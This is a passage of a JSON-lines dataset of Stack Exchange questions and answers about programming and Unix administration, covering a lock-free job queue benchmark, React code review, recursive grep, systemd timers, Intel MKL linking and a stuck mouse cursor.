greater than the group's median). So, you discard in the worst case (leftover group with 4 elements) 3 + 2 elements:$$3 \\bigg(\\bigg\\lceil  \\frac{1}2 \\bigg\\lceil{\\frac{n}5} \\bigg\\rceil \\bigg\\rceil\\bigg) - 5$$"  } 
{  "id": "_unix.388269"  , "question": "any idea?here is my code:#!/bin/sh. /etc/rc.commonstart on startuptaskexec /Applications/Chess.app"  , "title": "Execute shell script (contains running .app application) and add automatically on startup items mac"  , "tags": "shell script;osx;autostart"  } 
{  "id": "_codereview.58321"  , "question": "I've created a lock-free job queue and with the tests I've written, which is also very fast.That makes me doubt my benchmark procedure, so I'm hoping the collective knowledge will shed some light on the validity of those.The test basically increments an atomic value (each job is a single increment) until the predefined value is met. In my mind, this test really shows the overhead that the queue imposes because the workload is so simple.I've tried to create a queue to which I can post jobs and pick up jobs from all threads, a true multiple read/write queue. The tests I've written try to test all use cases, including multi-read/multi-write.boostasio push/pop functions:T = function< void() >void push_back( T t ){    service_.post( t );}bool pop( T &t ){    t = [](){};    return service_.run_one();}mutex_queue:void push_back( const T &t ){    lock_guard< mutex > guard( lock_ );    data_.push_back( t );}bool pop( T &t ){    lock_guard< mutex > guard( lock_ );    if ( index_ == data_.size() ) { return false; }    t = data_[ index_++ ];    return true;}For details on the lock-free push/pop, I suggest you look at GitHub, since it is a bit extensive to post here.For completeness, here's the test setup in full:#include <iostream>#include <functional>#include <thread>#include <sstream>#include <atomic>#include <vector>#include <chrono>#include <lock_free/fifo.h>#include <boost/asio/io_service.hpp>using namespace std;using namespace chrono;using namespace boost::asio;typedef function< void() >function_type;template < typename T >struct boostasio{    boostasio( size_t r = 1024 ) {}    void push_back( T t )    {        service_.post( t );    }    bool pop( T &t )    {        t = [](){};        return service_.run_one();    }    io_service service_;};template < typename T >struct mutex_queue{    mutex_queue( size_t r = 1024 ) :        lock_(),        index_( 0 ),        data_( r )    {        data_.clear();    }    void push_back( const T &t )    {        lock_guard< mutex > guard( lock_ );        data_.push_back( t );    }    bool pop( T &t )    {        lock_guard< mutex > guard( lock_ );        if ( index_ == data_.size() ) { return false; }        t = data_[ index_++ ];        return true;    }    mutex lock_;    size_t index_;    vector< T > data_;};template < typename T >T to( const string &str ){    T result;    stringstream( str ) >> result;    return result;}template < typename  T >function_type get_producer( T &&t ){    return get< 0 >( t );}template < typename  T >function_type get_consumer( T &&t ){    return get< 1 >( t );}template < typename  T >function_type get_result( T &&t ){    return get< 2 >( t );}template < typename Q >void test( const string &testname, size_t count, size_t threadcount ){    auto create_producer_consumer_result = [=]( const string &name )    {        high_resolution_clock::time_point t1 = high_resolution_clock::now();        auto data = make_shared< Q >( count );        function_type producer = [data]()        {            while ( data->producer_count++ < data->expected )            {                data->queue.push_back(                    [data]()                    {                        ++data->consumer_count;                    }                );            }            if ( data->producer_count >= data->expected )            {                --data->producer_count;            }        };        function_type consumer = [data]()        {            while ( data->consumer_count < data->expected )            {                function_type func;                while ( data->queue.pop( func ) )                {                    func();                }            }        };        function_type result = [=]()        {            high_resolution_clock::time_point t2 = high_resolution_clock::now();            duration< double > time_span = duration_cast< duration< double > >( t2 - t1 );            if ( data->expected != data->consumer_count )            {                cout << \\texpected:  << data->expected << , actual:  << data->consumer_count << endl;            }            cout << '\\t' << name <<  took:  << time_span.count() <<  seconds << endl;        };        return make_tuple( producer, consumer, result );    };    high_resolution_clock::time_point teststart = high_resolution_clock::now();    cout << testname << :\\n{\\n;    // single producer, single consumer    {        auto pcr = create_producer_consumer_result( single producer, single consumer );        get_producer( pcr )();        get_consumer( pcr )();        get_result( pcr )();    }    // single producer, multi consumer    {        auto pcr = create_producer_consumer_result( single producer, multi consumer );        get_producer( pcr )();        vector< thread > threads;        size_t c = threadcount;        while ( c-- )        {            threads.push_back( thread( get_consumer( pcr ) ) );        }        for ( auto &t : threads )        {            t.join();        }        get_result( pcr )();    }    // multi producer, single consumer    {        auto pcr = create_producer_consumer_result( multi producer, single consumer );        vector< thread > threads;        size_t c = threadcount;        while ( c-- )        {            threads.push_back( thread( get_producer( pcr ) ) );        }        for ( auto &t : threads )        {            t.join();        }        get_consumer( pcr )();        get_result( pcr )();    }    // multi producer, multi consumer    {        auto pcr = create_producer_consumer_result( multi producer, multi consumer );        vector< thread > threads;        size_t c = threadcount / 2;        while ( c-- )        {            threads.push_back( thread( get_producer( pcr ) ) );            threads.push_back( thread( get_consumer( pcr ) ) );        }        for ( auto &t : threads )        {            t.join();        }        get_result( pcr )();    }    duration< double > time_span = duration_cast< duration< double > >( high_resolution_clock::now() - teststart );    cout << \\ttotal:  << time_span.count() <<  seconds\\n} << endl;}template < typename T >struct test_data{    test_data( size_t e ) :    expected( e ),    queue(),    producer_count( 0 ),    consumer_count( 0 ) { }    const size_t expected;    T queue;    atomic_size_t producer_count;    atomic_size_t consumer_count;};int main( int argc, char *argv[] ){    constexpr auto test_count = 1e6;    const auto thread_count = argc > 1 ? to< size_t >( argv[ 1 ] ) : 16;    test< test_data< boostasio< function_type > > >( boostasio, test_count, thread_count );    test< test_data< lock_free::fifo< function_type > > >( lock_free::fifo, test_count, thread_count );    test< test_data< mutex_queue< function_type > > >( mutex_queue, test_count, thread_count );    return 0;}Here are some results on a machine which has 8 cores (+8 HT) and running with 16 threads:boostasio:{  single producer, single consumer took: 0.711752 seconds  single producer, multi consumer took: 5.03024 seconds  multi producer, single consumer took: 4.16782 seconds  multi producer, multi consumer took: 8.45779 seconds  total: 18.3679 seconds}lock_free::fifo:{  single producer, single consumer took: 0.356197 seconds  single producer, multi consumer took: 1.12591 seconds  multi producer, single consumer took: 0.575264 seconds  multi producer, multi consumer took: 1.24645 seconds  total: 3.304 seconds}mutex_queue:{  single producer, single consumer took: 0.363318 seconds  single producer, multi consumer took: 2.77809 seconds  multi producer, single consumer took: 2.72058 seconds  multi producer, multi consumer took: 5.11961 seconds  total: 10.9818 seconds}"  , "title": "Testing a lock-free job queue"  , "tags": "c++;performance;c++11;queue;lock free"  } 
{  "id": "_unix.51846"  , "question": "Is it possible to pass kernel parameters in the LILO boot prompt?"  , "title": "Is it possible to pass kernel parameters in the LILO boot prompt?"  , "tags": "lilo"  , "accepted_answer": "You can: type the parameters after the entry. In your case, would be Linux + the parameters (e.g. Linux root=/dev/sda1).To show:gives"  } 
{  "id": "_unix.185921"  , "question": "I have been trying to install mint 17.1, but all I can see is a blank screen with just mouse pointer. I had even tried to  press Ctrl+Alt+F1, so I don't know which commands to enter from that spot. Can anyone please help!"  , "title": "Linux Mint 17.1 installation"  , "tags": "linux mint;boot"  } 
{  "id": "_codereview.114991"  , "question": "I have written a small app that fetches news items from an endpoint and displays them in a grid.I used React to create components and use them throughout the app. This is the first thing I have built using ES6 - mainly for syntactic sugar.I tried to match the BBC News page style, so it should look very similar. It's responsive and should look good on any size screen.Overall, I'd mainly like feedback for my React and ES6, comments on best practices or what I could do better.Here is my React code:const Header = () => {    return (        <div className=white-header>            {/* Bootstrap nav */}            <nav className=navbar>                <div className=container-fluid>                    <div className=navbar-header>                        <button type=button className=navbar-toggle collapsed data-toggle=collapse                                data-target=#bs-example-navbar-collapse-1 aria-expanded=false>                            <span className=sr-only>Toggle navigation</span>                            <i className=fa fa-bars icon-bar></i>                        </button>                        <div className=navbar-brand href=#>                            <span className=fccLogo>F</span>                            <span className=fccLogo>C</span>                            <span className=fccLogo>C</span>                        </div>                    </div>                    <div className=collapse navbar-collapse id=bs-example-navbar-collapse-1>                        <ul className=nav navbar-nav>                            <li><a href=http://www.freecodecamp.com/>freecodecamp</a></li>                            <li><a href=http://www.bbc.co.uk/news>bbc news</a></li>                            <li><a href=http://github.com/alanbuchanan>github</a></li>                        </ul>                    </div>                </div>            </nav>            <div className=red-header>                <h1>NEWS</h1>            </div>            <div className=darkred-header>                <h1></h1>            </div>        </div>    );};const BigStory = (props) => {    const {newsItems} = props;    let {headline} = newsItems;    headline = splitHeadlineAtUnwantedChar(headline);    return (        <div className=big-story col-xs-12>            <div className=col-sm-5>                <h1><HeadlineLink headline={headline} link={newsItems.link}/></h1>                <p>{newsItems.metaDescription}</p>                <TimeAndLink time={newsItems.timePosted} author={newsItems.author.username}/>            </div>            <div className=col-sm-7>                <img className=img-responsive src={newsItems.image} alt=/>            </div>        </div>    );};const MediumStory = (props) => {    const {newsItems} = props;    newsItems.headline = splitHeadlineAtUnwantedChar(newsItems.headline);    return (        <div className=medium-story col-sm-4 col-xs-6>            <img className=img-responsive src={newsItems.image} alt=/>            <h4><HeadlineLink headline={newsItems.headline} link={newsItems.link}/></h4>            <p>{newsItems.metaDescription}</p>            <TimeAndLink time={newsItems.timePosted} author={newsItems.author.username}/>        </div>    );};const SmallStory = (props) => {    const {newsItems} = props;    newsItems.headline = splitHeadlineAtUnwantedChar(newsItems.headline);    return (        <div className=small-story>            <h4><HeadlineLink headline={newsItems.headline} link={newsItems.link}/></h4>            <TimeAndLink time={newsItems.timePosted} author={newsItems.author.username}/>        </div>    );};const DatedListNoPics = (props) => {    const {items} = props;    const list = items.map((e, i) => {        return (            <li className=col-sm-6 key={i}>                <h5><HeadlineLink headline={splitHeadlineAtUnwantedChar(e.headline)} link={e.link}/></h5>                <TimeAndLink time={e.timePosted} author={e.author.username}/>            </li>        );    });    return (        <ul className=dated-list-no-pics>            {list}        </ul>    );};const DatedListWithPics = (props) => {    let {items} = props;    items = filterForImages(items);    const list = items.map((e, i) => {        return (            <div className=col-lg-12 col-md-6 col-sm-6 key={i}>                <div className=col-md-6 col-sm-6 col-xs-6>                    <img className=img-responsive src={e.image} alt=/>                </div>                <div className=col-md-6 col-sm-6 col-xs-6>                    <h4><HeadlineLink headline={splitHeadlineAtUnwantedChar(e.headline)} link={e.link}/></h4>                    <TimeAndLink time={e.timePosted} author={e.author.username}/>                </div>            </div>        );    });    return (        <div className=dated-list-with-pics>            {list}        </div>    );};// Helpers and mini componentsconst splitHeadlineAtUnwantedChar = (str) => str.indexOf() !== -1 ? str.split()[0] : str;const filterForImages = (arr) => arr.filter(e => e.image !== );const Loading = () => <div></div>;const HeadlineLink = (props) => {    return (        <div className=headline-link>            <a href={props.link}>{props.headline}</a>        </div>    );};const Main = React.createClass({    getInitialState () {        return {            newsItems: []        };    },    componentDidMount () {        this.getNewsItems();    },    getNewsItems () {        $.getJSON(http://www.freecodecamp.com/news/hot, (data) => {            this.setState({newsItems: data});        });    },    render () {        const {newsItems} = this.state;        const loading = newsItems.length === 0;        let listNoPics = [];        let listWithPics = [];        const storiesToShow = 25;        // This is done in the render to avoid further ternary operators due to loading, as below        // List 1 (no pics):        for (let i = 6; i <= 11; i++) {            listNoPics.push(newsItems[i]);        }        // List 2 (with pics):        for (let i = 12; i <= storiesToShow; i++) {            listWithPics.push(newsItems[i]);        }        return (            <div className=container>                <Header />                <div className=main-content col-sm-12>                    <div className=left-sided-lg-top-otherwise col-lg-8 col-md-12 col-sm-12 col-xs-12>                        {loading                            ? <Loading />                            : <BigStory newsItems={newsItems[0]}/>                        }                        {loading                            ? <Loading />                            : <MediumStory newsItems={newsItems[1]}/>                        }                        {loading                            ? <Loading />                            : <MediumStory newsItems={newsItems[2]}/>                        }                        <div className=col-sm-4 col-xs-12>                            {loading                                ? <Loading />                                : <SmallStory newsItems={newsItems[3]}/>                            }                            {loading                                ? <Loading />                                : <SmallStory newsItems={newsItems[4]}/>                            }                            {loading                                ? <Loading />                                : <SmallStory newsItems={newsItems[5]}/>                            }                        </div>                        {loading                            ? <Loading />                            : <DatedListNoPics items={listNoPics}/>                        }                    </div>                    <div className=right-sided-lg-bottom-otherwise col-lg-4 col-md-12 col-sm-12 col-xs-12>                        {loading                            ? <Loading />                            : <DatedListWithPics items={listWithPics}/>                        }                    </div>                </div>            </div>        );    }});// Place right at the end because it messes up the colouring. const TimeAndLink = (props) => {    return (        <p className=time-and-link>            <span id=timeago><i className=fa fa-clock-o></i> {$.timeago(props.time).replace(/(about)/gi, )}</span> | <a href={`http://www.freecodecamp.com/${props.author}`}>{props.author}</a>        </p>    );};ReactDOM.render(<Main />, document.getElementById('root'));Here is a Codepen of the app."  , "title": "React & ES6 news app"  , "tags": "javascript;json;ecmascript 6;react.js"  , "accepted_answer": "Ok, looks like a neatly written React. Let's see what I can do.       <div className=main-content col-sm-12>            <div className=left-sided-lg-top-otherwise col-lg-8 col-md-12 col-sm-12 col-xs-12>                {loading                    ? <Loading />                    : <BigStory newsItems={newsItems[0]}/>                }                {loading                    ? <Loading />                    : <MediumStory newsItems={newsItems[1]}/>                }                {loading                    ? <Loading />                    : <MediumStory newsItems={newsItems[2]}/>                }                <div className=col-sm-4 col-xs-12>                    {loading                        ? <Loading />                        : <SmallStory newsItems={newsItems[3]}/>                    }                    {loading                        ? <Loading />                        : <SmallStory newsItems={newsItems[4]}/>                    }                    {loading                        ? <Loading />                        : <SmallStory newsItems={newsItems[5]}/>                    }                </div>                {loading                    ? <Loading />                    : <DatedListNoPics items={listNoPics}/>                }            </div>            <div className=right-sided-lg-bottom-otherwise col-lg-4 col-md-12 col-sm-12 col-xs-12>                {loading                    ? <Loading />                    : <DatedListWithPics items={listWithPics}/>                }            </div>        </div>Instead of hard-coding news 1 to 5, consider making them lists too (even if they're just 1 story). Lists are easier to manage and is future-proof in a sense that if you want to add more, you'll probably just tweak some constant to have it load more. Which brings us to the next piece...// List 1 (no pics):for (let i = 6; i <= 11; i++) {    listNoPics.push(newsItems[i]);}// List 2 (with pics):for (let i = 12; i <= storiesToShow; i++) {    listWithPics.push(newsItems[i]);}An alternative way of building this (in a non-imperative way) is to use a range function, like the one from lodash and a map function to transform each value into another value. In this case, ranges into news lists. Recursive is ok, but with the overhead of building a recursive function (which is overkill).var storyMapper  = (i) => newsItems[i];var bigStory     = _.range(0, 1).map(storyMapper);var mediumStory  = _.range(1, 3).map(storyMapper);var smallStory   = _.range(3, 6).map(storyMapper);var listNoPics   = _.range(6, 11).map(storyMapper);var listWithPics = _.range(12, storiesToShow).map(storyMapper);Now I mentioned earlier about a configurable list of things. You can put the range arguments in some constant somewhere in a config. This allows you to easily adjust the lists.If you want to create a range of your own, you can simply use Array.fill with array.map.function range(start, end){  return Array(end - start).fill(0).map((v,i) => start + i);}When your app becomes complex like this, naming becomes hard especially for CSS classes (and no, don't even consider inline styles). Check out BEM. It's an element naming convention that manages your CSS classes without having the styles stepping each other's feet. Take for example, your Main component.<div class=layout-classes main>  ...  <div class=layout-classes main__container>    ...    <div class=layout-classes main__small-stories {loading ? 'main__small-stories--loading' : ''}>      ....main{...}.main__container{...}.main__small-stories{...}.main__small-stories--loading{display:none} // hides small stories until removedWith this naming convention, all your components will have a unique BEM name, essentially collision-free (be concise about the names though). Your CSS will all end up with a very low specificity of 0-1-0, making them easily overridable (goodbye !important). Besides, why would you override when you know they're unique to that component and can safely change them? (unless it's inherited from a parent)I see you're using React, thus Babel which tells me that you have a build phase. Consider doing the same for your CSS by using a preprocessor like SASS or LESS. That way, you can use mixins. For instance, your BEM-ified main__small-stories could look like:.main__small-stories{  // styles for small stories ON MOBILE  @include medium-screens{    // styles for medium screens  }  @include large-screens{    // styles for large screens  }}So in the above, it uses mixins and just inverts the definition of media queries. Instead of starting off with a media query, and duplicating selectors, you define the selector and default styles, and append what happens on different screens. Output CSS is still the same, but from an authoring perspective, it's much readable."  } 
{  "id": "_softwareengineering.352605"  , "question": "General question regarding the STL. Do you guys think that the STL should be used for data structures or would you create custom code? In what scenario would you implement your own code for something that the Standard Library already does? What are your thoughts?"  , "title": "C++: STL or custom code for data structures?"  , "tags": "c++;stl"  } 
{  "id": "_codereview.51939"  , "question": "What would be the best way to refactor this :@busy.each do |b|  title =  b.title  @events << {    :id => b.id,    :title => title,    :start => b.busy_start_time(b.start_date,b.start_time),    :end => b.busy_end_time(b.end_date,b.end_time),    :allDay => false,    :recurring => false,    :color => 'black',  } @events is initialized as an empty array:@events = []And this busy statement is the SECOND of two pushes into @events.I think that I can use map here something like :@events = @events + @busy.map do |b|  stuffendBecause I don't want to overwrite @events, I want to add stuff into it.But what I'm really searching for is a way to store the entire 'each' into a lambda and say something like :@events += @busy(&:create_busy_hash) And move all the hash creation into the Busy class as create_busy_hashI'm still grasping lambdas and procs"  , "title": "Refactor .each where each is redirected into a hash"  , "tags": "ruby;ruby on rails"  , "accepted_answer": "I think this is where you are trying to get to:class Busy  def event_info    {      :id => id,      :title => title,      :start => busy_start_time(start_date, start_time),      :end => busy_end_time(end_date, end_time),      :allDay => false,      :recurring => false,      :color => 'black',    }  endend@events = @busy_items.map(&:event_info)Some additional notes:There is no need to initialize @events to an empty array, favor expressions over statements with side-effects (map, select, reduce and so on, instead of each).I renamed the variable to busy_items to emphasize it's a collection.Busy does not sound right for a class name. Classes are usually nouns, not adjectives. What's the nature of this class?"  } 
{  "id": "_unix.86947"  , "question": "So I have different installed kernel versions from the running kernel version, on my fedora 19 machine.To give a more clear idea, here is my terminal output: [user@home ~]$ uname -r 3.10.3-300.fc19.x86_64  [user@home ~]$ rpm -qa | grep kernel-devel kernel-devel-3.10.6-200.fc19.x86_64 kernel-devel-3.10.4-300.fc19.x86_64When I install Nvidia drivers, it gives me this error that the installed and the running versions are not the same. I want to remove the currently installed 3.10.6-200 and 3.10.4-300 versions, and install the running version ( 3.10.3-300)instead. I don't know how to go about doing it. Any help will be appreciated!!"  , "title": "Install kernel-devel of specific version in fedora 19"  , "tags": "fedora;linux kernel"  , "accepted_answer": "Ideally you should be able to run: yum install kernel-devel-3.10.3-300.fc19.x86_64No package kernel-devel-3.10.3-300.fc19.x86_64 available. But this packages is no longer available. It seems that you have been upgrading your system without actually rebooting it into a new kernel.On my running system: yum info kernel|grep -E Name|Version|ReleaseName        : kernelVersion     : 3.10.4Release     : 300.fc19Name        : kernelVersion     : 3.10.5Release     : 201.fc19Name        : kernelVersion     : 3.10.6Release     : 200.fc19uname -r3.10.6-200.fc19.x86_64yum info kernel-develName        : kernel-develVersion     : 3.10.4Release     : 300.fc19Name        : kernel-develVersion     : 3.10.5Release     : 201.fc19Name        : kernel-develVersion     : 3.10.6Release     : 200.fc19I advise you to do the following:Check what kernel you have installed. Check the grub configuration and reboot into the new kernel. After that recompile nvidia drivers.Unless there is a specific reason for you to stay with your current running kernel, then you will need to look for it. In the Fedora updates repo there is not such package anymore. You can check here"  } 
{  "id": "_unix.72036"  , "question": "I recently moved to Mac. I am missing my X11 copy-paste style.I can't find a way to exactly emulate X11 behavior select-to-copy, middle-click-to-paste  globally on Mac OS X.I am aware that this issue has been around for a long time, yet I can't find any real killer solution.The best thing I found is in Can I copy by highlighting and paste by middle click on Mac OS X?. All suggested solutions try to find out a way to paste text from the clipboard with a middle click.Yet, nobody has a real solution for automatically copying the highlighted text.I am wondering if there can be a way to automate the copying of highlighted text. Even if I should write a daemon to do it. Any pointers on where to start thinking will be great."  , "title": "A real non-better touch tools solution for select-to-copy on Mac OS X"  , "tags": "x11;osx;mouse;copy paste"  } 
{  "id": "_softwareengineering.316036"  , "question": "I have a requirement for a service that does the following.Take a block of text and identify the server names in it (by name or ip address).  So given:Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec libero felis, accumsan in nunc id, lacinia rutrum libero. Server1 Praesent iaculis consequat est quis elementum. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos Server2 himenaeos. Cras aliquet nisl non tortor interdum semper. Nulla commodo dignissim justo, eu accumsan neque eleifend ut. Etiam malesuada volutpat dolor 192.168.0.2 laoreet placerat. Maecenas posuere ipsum mattis egestas elementum.The service would return:Server1Server2Server3 (which has ip Address 192.168.0.2)there are around 7,000 servers and addresses in my DB.  So at the moment the only strategy I have is to take the text block as a string and loop through all the servers twice (name and ip) issuing a string.Contains().Issuing 14,000 Contains seems a bit brute force.  Is there a more elegant way to achieve the same result.For context this is a rest service running on ASP.Net MVC and C#."  , "title": "Most efficient strategy for search large text areas for multiple values"  , "tags": "c#;asp.net mvc;strings;search"  , "accepted_answer": "If your current code is simple and fast enough for your needs, do nothing. Just to optimize because it seems a bit brute force is not a good reason, it will mostly complicate things for no benefit. Do not fall into the trap of premature optimization.However, if your current code really is too slow for your purposes, first measure where the bottleneck is. Is it really calling 14.000 times string.Contains, or is it selecting the 14.000 server names / Ip addresses from your database? The first issue might be approached by splitting up the text into words which may be potentially a server name, and utilizing a hashset or a more sophisticated data structure. The second issue might be approached by splitting up the text the same way,using the words as a SELECT criteria, assumed your database is properly indexed. The latter one could increase the number of roundtrips, to avoid that, you could implement a stored procedure in your DB, pass the text once over the network and let the SP do the work.All of these solutions, however, will result in more complicated code than you have now, so make sure this is worth the hassle, otherwise you are probably sacrificing a maintainable solution for useless overcomplication."  } 
{  "id": "_softwareengineering.222528"  , "question": "Which one is considered better:having a directive that interacts with services directlyorhaving a directive that exposes certain hooks to which controller may bind behaviour (involving services)? "  , "title": "Should angularjs directive directly interact with services or is it considered an anti-pattern?"  , "tags": "design patterns;patterns and practices;angularjs"  , "accepted_answer": "A directive is best (as a rule-of-thumb) when it's short (code-wise), (potentially) re-usable, and has a limited a scope in terms of functionality. Making a directive that includes UI and depends on a service (that I assume handles connection to the backend), not only gives it 2 functional roles, namely:Controlling the UI for display/entry of data for the widget.Submitting to the backend (via the service).but also making it less re-usable, as you then can't use it again with another service, or with a different UI (at least not easily).When making these decisions, I often compare to the built-in HTML elements: for example <input>, <textarea> or <form>: they are completely independent of any specific backend. HTML5 has given the <input> element a few extra types, e.g. date, which is still independent of backend, and where exactly the data goes or how it is used. They are purely interface elements. Your custom widgets, built using directives, I think should follow the same pattern, if possible.However, this isn't the end of the story. Going beyond the analogy with the built-in HTML elements, you can create re-usable directives that both call services, and use a purely UI directive, just like it might use a <textarea>. Say you want to use some HTML as follows:<document document-url='documents/3345.html'> <document-data></document-data> <comments></comments> <comment-entry></comment-entry></document>To code up the commentEntry directive, you could make a very small directive that just contains the controller that links up a service with a UI-widget. Something like:app.directive('commentEntry', function (myService) {  return {    restrict: 'E',    template: '<comment-widget on-save=save(data) on-cancel=cancel()></comment-widget>',    require: '^document',    link: function (scope, iElement, iAttrs, documentController) {      // Allow the controller here to access the document controller      scope.documentController = documentController;    },    controller: function ($scope) {      $scope.save = function (data) {        // Assuming the document controller exposes a function getUrl        var url = $scope.documentController.getUrl();         myService.saveComments(url, data).then(function (result) {          // Do something        });      };    }  };});Taking this to an extreme, you might not ever need to have a manual ng-controller attribute in the HTML: you can do it all using directives, as long as each directly has a clear UI role, or a clear data role.There is a downside I should mention: it gives more moving parts to the application, which adds a bit of complexity. However, if each part has a clear role, and is well (unit + E2E tested), I would argue it's worth it and an overall benefit in the long term."  } 
{  "id": "_unix.182654"  , "question": "I use grep -r all the time to find occurrences of a string within files in a given directory:$ grep -r string app/assets/javascripts> app/assets/javascripts/my_file.js: this line contains my stringBut what if I want to recursively search through more than one subdirectory of my current directory? The only way I can think of is to run grep twice:$ grep -r string app/assets/javascripts> app/assets/javascripts/my_file.js: this line contains string$ grep -r string spec/javascripts> app/assets/javascripts/my_file.js: string appears here, too.How can I combine the above two grep commans into a single line? I don't want to search through every single file in ., and --exclude-dir isn't practical because there are too many other directories under . for me to explicitly exclude them all.Is this possible?"  , "title": "How can I recursively grep through several directories at once?"  , "tags": "grep;search;recursive"  , "accepted_answer": "You can specifiy multiple directories in grep:grep -r string app/assets/javascripts spec/javascriptsAlternatively - sometimes more useful is list files to grep by find, and then grep them, for examplefind app/assets/javascripts spec/javascripts -type f -print0 |  xargs -0 grep stringor find app/assets/javascripts spec/javascripts -type f -exec grep -H string {} +"  } 
{  "id": "_unix.246187"  , "question": "I am trying to write a service with timers. But it is not being executed:example@host /etc/systemd/system/mbsync.service:[Unit]Description=Mailbox synchronisation service for user example[Service]Type=oneshotExecStart=/usr/bin/mbsync -aVUser=exampleStandardOutput=syslogStandardError=syslogexample@host /etc/systemd/system/mbsync.timer:[Unit]Description=Mailbox synchronisation timer[Timer]OnBootSec=10sOnCalendar=*:00/2[Install]WantedBy=default.targetI started the service like this:systemctl daemon-reloadsystemctl enable mbsync.timersystemctl start mbsync.timerBut I only get:systemctl list-timersNEXT LEFT LAST                         PASSED       UNIT         ACTIVATESMon 2015-11-30 11:50:00 CET  10s ago       Mon 2015-11-30 11:50:07 CET  2s ago  mbsync.timer                 mbsync.service"  , "title": "systemd service with timer as user"  , "tags": "systemd"  , "accepted_answer": "Your timer is executed, but it may not do what you expect.You should check logs with systemctl status -l mbsync.service and tune your .mbsyncrc accordingly.I found these resources helpful:https://wiki.archlinux.org/index.php/Isync#Automatic_synchronizationhttps://www.bostonenginerd.com/posts/notmuch-of-a-mail-setup-part-1-mbsync-msmtp-and-systemd/especially the second one, with user unit files, which is required when using PassCmd gpg ...."  } 
{  "id": "_scicomp.5380"  , "question": "I am currently trying to link a program against the Intel MKL 11.0 library instead of using NetLIB or OpenBLAS. Doing this I recognized the following error which I can not explain to my self at the moment. Consider the following C code example computing a complex scalar product using zdotc:#include <stdio.h>#include <stdlib.h>#include <complex.h>double complex zdotc_(int *n, double complex *X, int *incx, double complex *Y, int *INCY ); int main ( ) {    int n = 5;     int incx = 1, incy = 1;     double complex x[5] = {1,I,2,2+I,3};     double complex y[5] = {I,3,I*3, 2+2*I, 9};     double complex ret;     ret = zdotc_(&n,x,&incx,y,&incy);     printf(n   = %d\\n, n);     printf(ret = %lg + %lgi\\n, creal(ret), cimag(ret));     return 0; }I compiled this example using the command line flags given by the MKL Advisor. I select GNU C/C++, 32 Bit Integer, Dynamic Linking, GNU OpenMP. The resulting command line is:gcc zdotc_test.c -o zdot_mkl_gcc -O2  -L$MKLROOT/lib/intel64 -lmkl_intel_lp64 -lmkl_gnu_thread -lmkl_core -ldl -lpthread -lm  -fopenmp -m64 -I$MKLROOT/includeThe output of this program is: n   = 0ret = 0 + 1.07933e+21iwhich is obviously wrong and especially why is n altered?If I select GNU Fortran instead of GNU C/C++, I have to replace -lmkl_intel_lp64 by -lmkl_gf_lp64 and then the correct output n   = 5ret = 33 + 6iis produced. So my question is: where are the detailed differences between those to interfaces and why does the first one produced this error?"  , "title": "Intel MKL - Difference between mkl_intel_lp64 and mkl_gf_lp64"  , "tags": "blas;compiling"  , "accepted_answer": "The difference has to do with the calling convention (ABI) differences. ZDOTC is a problematic function because it returns a double complex, which is usually considered a struct rather than a simple data type. Thus, it can either be returned on the stack as a return value, or by reference as an implicit first argument to the C style function. I am guessing that what you are seeing here is that in the _intel_ case, it expects the return value to be an implicit first argument, so it returns the value and ends up modifying n, and the return value is then just completely wrong. In that case the correct declaration isvoid zdotc_(double complex *retval, int *n, double complex *X, int *incx, double complex *Y, int *INCY );It's stupid stuff like this that makes me implement everything in C++ if possible. In particular, I tend to implement BLAS level 1 in C++, where performance is limited by memory bandwidth anyways. For BLAS levels 2 and 3, I will call actual BLAS, which does not have functions with this problem.I believe I've seen benchmarks before comparing naive dot product implementations with optimized BLAS, and if you use __restrict type keywords, most optimizing compilers will produce code that's as fast as the optimized BLAS.My own version is located here, where you would need the corresponding source file to provide forwarding of higher level BLAS, located here. I would refer you to Eigen, but my code is slightly easier to port to C99 since it's less heavily templated."  } 
{  "id": "_unix.6751"  , "question": "I would like to use some the functions given by libc at the boot loader stage itself. Is it possible to get them at that stage of loading? "  , "title": "Is it possible to use libc at the bootloader stage itself?"  , "tags": "boot loader"  , "accepted_answer": "You'll most likely have to write your own versions of the functions you want, though in some cases you may be able to use libc source code as a starting point.  The functions in libc itself are written under all the assumptions of a UNIX userspace program, including:the presence of the kernel (or more specifically, the syscall interface to the kernel)a flat memory modela dynamic linking infrastructure (unless statically linked)and at the bootloader stage, you have none of these.  Instead, (by default, under Intel) you've got the BIOS, a segmented memory model, no memory protection, and full reign of the machine.It's the same reason you see the custom printk() function in kernel code instead of printf() -- the assumptions that libc's printf() makes just don't apply in kernel space."  } 
{  "id": "_scicomp.14452"  , "question": "I have calculated the temperature of the section of a cylinder, which is subjected to a heat flow on its upper surface. Getting the temperature distribution in the 2D section. As shown in the following image. From this temperature distribution would represent the upper part of the cylinder as in the picture below."  , "title": "a circular plot from a vector which represents the temperature along the radius surface, which is the same for every radius"  , "tags": "matlab;visualization"  , "accepted_answer": "If I understand, what you want is to make a polar plot of your data presented in the first image. Where, I assume, the axis are the radius and angle. You need to make a change of coordinates from polar to Cartesian to do that. Matlab has a built-in function for that called pol2cart (documentation). See an example hereYou can do something liker = linspace(0,1,1000);th = linspace(0,2*pi,1000);[TH,R] = meshgrid(th,r);[X,Y] = pol2cart(TH,R);Z = besselj(0,20*R);figurecontourf(X,Y,Z); axis squarefiguresurf(X,Y,Z); shading interphere it is the contour plot (in Octave, though):and"  } 
{  "id": "_unix.169496"  , "question": "When I first turn on the computer the mouse works as usual, but shortly after that the mouse cursor will stop moving and will stay stuck in one spot on the screen. This is hard to describe but although the picture of the cursor is stuck in one spot on the screen the position of the mouse seems to continue to update. So if I move the mouse around I'll see hyperlinks and buttons highlight to indicate that the mouse is moving over them. I can also click and the button or hyperlink activates as usual. The image of the cursor is stuck in one spot but it changes from pointer to cursor to text selection as I move the mouse around.I've tried to reset the mouse but the behavior stays the same.sudo rmmod psmousesudo modprobe psmouseThis behavior happened with Xubuntu 12.04 and I installed Linux Mint 17 and see the same behavior. I have a wireless Logitech mouse. I tried plugging in a wired mouse and see the same behavior.Any suggestions? I'm not even sure what to search for!Thanks!"  , "title": "Mouse cursor stuck but its movement is still registering"  , "tags": "mouse"  , "accepted_answer": "Your cursor problem seems to be the constant while distros change, indicating that it may be a hardware problem. Attempt disabling drawing the cursor via hardware and then restart the X server. This may be done by editing your xorg.conf which is often located in /etx/X11/xorg.conf. Note that it may be also be split into several files under /etc/X11/xorg.conf.d - see the xorg.conf(5) man page for more details.findSection: Devicewhich refers to the configuration of graphic your adapter.before the end of the section, add the following: Option 